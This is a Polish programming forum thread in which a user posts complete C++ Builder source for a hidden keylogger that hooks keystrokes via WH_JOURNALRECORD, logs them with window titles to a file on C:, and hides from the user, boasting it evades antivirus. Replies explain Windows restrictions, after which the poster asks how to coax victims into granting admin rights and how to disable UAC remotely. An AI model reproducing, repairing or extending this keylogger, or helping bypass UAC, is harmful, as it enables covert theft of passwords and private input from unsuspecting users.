C++ Builder Niedziałający keylogger

0

Witajcie, kiedyś testowałem pewnego keyloggera i działał wyśmienicie. Dzisiaj gdy na własne potrzeby zrobiłem go sobie jeszcze raz, po odpaleniu normalnie chowa się i staje się niewidoczny dla użytkownika (tylko na liscie procesów), lecz wcale nie chce zapisywać logów do pliku. W kodzie nic nie zmieniałem a kiedyś działał normalnie. Dodam również, że funkcja przywoływania keyloggera (SHIFT + F12) również nie działa. Oto kod keyloggera:

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <stdio.h>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;

HHOOK g_hLogHook       = NULL;
HWND g_hLastFocus      = NULL;
const int KeyPressMask = 0x80000000;
char g_PrvChar;
//---------------------------------------------------------------------------
HOOKPROC ConnectHook(int iCode, WPARAM wParam, LPARAM lParam)
{
 if(iCode < 0) return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);

 EVENTMSG *pEvt = (EVENTMSG *)lParam;
 int i;
 HWND hFocus;
 char szTitle[256];
 char szTime[128];
 FILE *stream = fopen("c:\\logfile.txt", "a+t"); //rejestr keylogera zostaje zapisany w pliku logfile.txt na dysku c:

 if(pEvt->message == WM_KEYDOWN)
 {
  int vKey = LOBYTE(pEvt->paramL);
  char ch;
  char str[10];
  hFocus = GetActiveWindow();

  if(g_hLastFocus != hFocus)
  {
   GetWindowText(hFocus, szTitle, 256);
   g_hLastFocus = hFocus;
   strcpy(szTime, DateTimeToStr(Now()).c_str());
   fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
   fprintf(stream, "%c%c", 32, 32);
  }

  int iShift   = GetKeyState(0x10);
  int iCapital = GetKeyState(0x14);
  int iNumLock = GetKeyState(0x90);

  bool bShift   = (iShift & KeyPressMask) == KeyPressMask;
  bool bCapital = (iCapital & 1) == 1;
  bool bNumLock = (iNumLock & 1) == 1;

  if(vKey >= 48 && vKey <= 57)
  if(!bShift) fprintf(stream, "%c", vKey);

  if(vKey >= 65 && vKey <= 90)
  {
   if(!bCapital)
   {
    if(bShift)
    {
     ch = vKey;
    }
    else
    {
     ch = vKey + 32;
    }
   }
   else
    if(bShift)
    {
     ch = vKey + 32;
    }
    else
    {
     ch = vKey;
    }
    fprintf(stream, "%c", ch);
   }

   if(vKey >= 96 && vKey <= 105)
   if(bNumLock) fprintf(stream, "%c", vKey - 96 + 48);
   if(vKey >= 186 && vKey <= 222)
   {
    switch(vKey)
    {
     case 186: if(!bShift) ch = ';';  else ch = ':';   break;
     case 187: if(!bShift) ch = '=';  else ch = '+';   break;
     case 188: if(!bShift) ch = ',';  else ch = '<';   break;
     case 189: if(!bShift) ch = '-';  else ch = '_';   break;
     case 190: if(!bShift) ch = '.';  else ch = '>';   break;
     case 191: if(!bShift) ch = '/';  else ch = '?';   break;
     case 192: if(!bShift) ch = '`';  else ch = '~';   break;
     case 219: if(!bShift) ch = '[';  else ch = '{';   break;
     case 220: if(!bShift) ch = '\\'; else ch = '?';   break;
     case 221: if(!bShift) ch = ']';  else ch = '}';   break;
     case 222: if(!bShift) ch = '\''; else ch = '\"';  break;
     default: ch = 'n'; break;
    }
    if(ch != 'n') fprintf(stream, "%c", ch);
   }
   if(vKey >= 8 && vKey <= 46)
   {
    switch(vKey)
    {
     case 8:  strcpy(str, "[BK]");   break;
     case 9:  strcpy(str, "[TAB]");  break;
     case 13: strcpy(str, "[EN]");   break; // ENTER
     case 17: strcpy(str, "[rALT]"); break; // prawy ALT
     // case 18: strcpy(str, "[lALT]"); break; // lewy ALT
     case 32: strcpy(str, " ");      break; // spacja
     case 33: strcpy(str, "[PU]");   break;
     case 34: strcpy(str, "[PD]");   break;
     case 35: strcpy(str, "[END]");  break;
     case 36: strcpy(str, "[HOME]"); break;
     case 37: strcpy(str, "[LF]");   break;
     case 38: strcpy(str, "[UF]");   break;
     case 39: strcpy(str, "[RF]");   break;
     case 40: strcpy(str, "[DF]");   break;
     case 45: strcpy(str, "[INS]");  break;
     case 46: strcpy(str, "[DEL]");  break;
     default: ch = 'n'; break;
    }
    if(ch != 'n') fprintf(stream, "%s", str);
   }
   if(bShift && vKey == 123)
   {
    Application->Restore();
    ShowWindow(Application->Handle, SW_SHOW);

    if(g_hLogHook != NULL)
    {
     UnhookWindowsHookEx(g_hLogHook);
     g_hLogHook = NULL;
    }
   }
  }
  if(pEvt->message == WM_LBUTTONDOWN && pEvt->message == WM_RBUTTONDOWN)
  {
   hFocus = GetActiveWindow();
   if(g_hLastFocus != hFocus)
   {
    g_hLastFocus = hFocus;
    GetWindowText(hFocus, szTitle, 256);
    strcpy(szTime, DateTimeToStr(Now()).c_str());
    fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
    fprintf(stream, "%c%c", 32, 32);
   }
  }
  fclose(stream);

  return (HOOKPROC)CallNextHookEx (g_hLogHook, iCode, wParam, lParam);
}
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
 if(g_hLogHook == NULL)
  g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)ConnectHook, HInstance,0);

 Application->Minimize();
 ShowWindow(Application->Handle, SW_HIDE);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
 if(g_hLogHook != NULL)
 {
  UnhookWindowsHookEx(g_hLogHook);
  g_hLogHook = NULL;
 }
}
//---------------------------------------------------------------------------

Może aktualny Windows 7 nie obsługuje jakiś funkcji albo już się postarzały? Możecie mi pomóc w naprawieniu tego keyloggera? Działał on dla mnie najlepiej spośród wszystkich oraz nie jest wykrywalny przez antyvirusy!

Z góry dzięki!

0

Bez uprawnień Administratora nie można zapisywać plików na dysku systemowym C.

0

Chyba to nie jest do końca prawda. W Delphi normalnie zapisuje plik na dysku C i nie ma żadnych zastrzeżeń. Można jakoś zapisywać plik inaczej na dysku C lub w dowolnym katalogu na dysku C? Jak wyjaśnić brak działania opcji przywracania programu (SHIFT + F12)?

0

Użyj debuggera i sprawdź co się dzieje.

0

Jak użyć debuggera w C++ Builder 6? Nie mam pojęcia jak to zrobić. Możesz przetestować ten kod i powiedzieć mi czy u Ciebie działa poprawnie?

0

Nie masz na górze w menu Debug > Run albo coś podobnego?

0

Nie mam właśnie nic takiego. Możesz może sprawdzić ten kod u siebie? Dodam jeszcze, że kiedyś gdy testowałem ten sam kod normalnie zapisywało logi do pliku na dysku systemowym C, więc nie wiem co teraz jest nie tak.

0

Mógłby ktoś skompilować ten kod u siebie? Oczywiście dam plusa :) Chodzi mi głównie o odpowiedź, dlaczego program nie działa poprawnie u mnie, jak wcześniej go kompilowałem i działał prawidłowo.

1

W "normalny" sposób nie założysz hooka WH_JOURNALRECORD w nowszych wersjach Windows.
http://blogs.msdn.com/b/winsdk/archive/2009/07/16/setwindowhookex-api-with-wh-journalrecord-this-api-fails-with-access-denied-error-5.aspx

0

Aha, już rozumiem. Dlatego nigdzie nie tworzy pliku z logami ponieważ aby utworzyć plik keylogger musi przechwycić chociaż jeden znak, a nie przechwytuje żadnego ponieważ funkcja WH_JOURNALRECORD już nie działa. Jest jakaś szybka alternatywa dla tej funkcji, czy keylogger jest już bezużyteczny?

0

Dostałem informacje, że ta funkcja zadziała kiedy program zostanie uruchomiony z uprawnieniami administratora, tak więc, jest jakaś możliwość aby podczas normalnego uruchamiania programu wyświetliła się notyfikacja że program musi zostać uruchomiony jako administrator oraz akceptacja Tak/Nie? (Większość i tak zaakceptuje). Chodzi mi o takie okienko gdy instalujemy jakąś aplikacje, przyciemnia się trochę ekran oraz wyskakuje okienko akceptacji uruchamiania programu jako administrator. Wiecie jak takie coś dodać do swojej aplikacji?

0

Po pierwsze same uprawnienia admina nie pomogą, musisz spełnić wszystkie 3 warunki określone w tym artykule do którego podałem link czyli odpowiedni manifest, apka podpisana i uruchomiona z zaufanego folderu (np. Program Files). Oczywiście wszystko zależy od ustawień UAC.

0

Właśnie czytałem że podobno jak się w pełni wyłączy UAC i odpali program jako administrator to wtedy ta funkcja działa i przechwytuje znaki. Znacie jakiś sposób aby wyłączyć UAC zdalnie poprzez aplikację? Oraz oczywiście wymusić jej uruchamianie jako administrator (może być za zgodą).

1 użytkowników online, w tym zalogowanych: 0, gości: 1